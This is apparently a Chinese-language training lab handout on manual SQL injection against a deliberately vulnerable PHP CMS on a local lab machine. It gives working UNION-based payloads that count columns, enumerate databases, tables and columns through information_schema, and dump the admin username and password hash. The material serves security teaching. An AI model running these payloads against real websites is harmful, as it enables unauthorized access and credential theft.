【实验目的】
通过本实验理解SQL手工注入技术,掌握通过mysql数据库语法来进行手工sql注入的过程。
实验步骤
步骤一、目标网站开启
(1)进入靶机,查看IP地址; 开始—运行,输入cmd回车,出现命令行窗口,输入:ipconfig 显示,靶机配置信息,记下以太网适配器下,IPv4地址(后面访问网页会用到)。 此处假设为192.168.0.18.
(2)启动phpstudy(桌面图标):
如果,显示不是两个绿色标志,则等待一会,按下重启按钮,再次尝试
步骤二、渗透主机上探测目标网站有无sql注入点
(1)打开云主机,输入密码360College。 利用攻击机,访问靶机。http://IP:8083(注意根据查看到的靶机IP地址,修改此处的IP,端口不变,以下截图中,均应将端口修改为8083),然后点击其中的一篇文章,如果地址栏出现http://***/show.php?id=XX,则表明目标网站,采用PHP语言开发。
(2)试探目标网站 分别在地址末尾添加单撇号、and 1=1 和 and 1=2 进行注入点探测。
如果show.php?id=XX后加单撇号出错、给出数据库信息,则表明存在注入攻击点。
步骤三、判断字段长度
利用 order by N,从数字 1 开始替代 N,直到返回错误页面,判断字段长度为错误页面的 N-1,也就是最后一个正常页面返回。实验中N=16,错误,所以字段长度为15
如图输入http://***/show.php?id=XX order by 16报错:
如图输入http://***/show.php?id=XX order by 15正确:
步骤四、判断字段位置回显
利用show.php?id=XX and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 最后一个数为字段长度,有回显会将相应数字显示出来。从下图可知,3 和 11 的位置可以回显信息。判断数据库信息:
回显结果
步骤五、判断数据库相关信息
用 and 1=2 union select 1,2,sql_command,4,5,6,7,8,9,10,11,12,13,14,15 (用 具体sqlXXX 指令替换 sql_command)。
(1)查看 mysql 版本
结果
(2)查看当前数据库名
结果
(3)查看当前用户
步骤六、判断所有数据库名
利用 and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.SCHEMATA,查看 mysql中所有数据库的名称。
由下图结果可知业务数据库为 cms。其他数据库有mysql,test,phpmyadmin等
步骤七、判断具体某个数据库中的数据库表
利用 and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() ,查看 cms 数据库拥有的所有表。可以发现存放用户信息的表cms_users。
如下查看其它数据库中的数据表,则需要将。。。where table_schema=database()处的database() 替换为具体的数据库名,并且数据库名要16进制转化为0xAAABBBCCCC格式
步骤八、判断数据表的所有列
利用 and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273。
table_name=cms_users表名需要编码为 16 进制table_name=0x636D735F7573657273形式,从ASCII对照表中可知对应:c(63) m(6d) s(73) _(5f) u(75) s(73) e(65) r(72) s(73)
如图所示,得到 3 个列:userid,username 和 password
步骤九、判断管理员账号密码
利用 and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users
得到管理员账号密码为:admin/e10adc3949ba59abbe56e057f20f883e(解密后123456)
步骤十、登录后台
实验结束
思考与总结
通过本次实验,成功实现了手工注入一个存在sql注入漏洞的网站的全部过程,掌握SQL注入的攻击方法以及防御措施。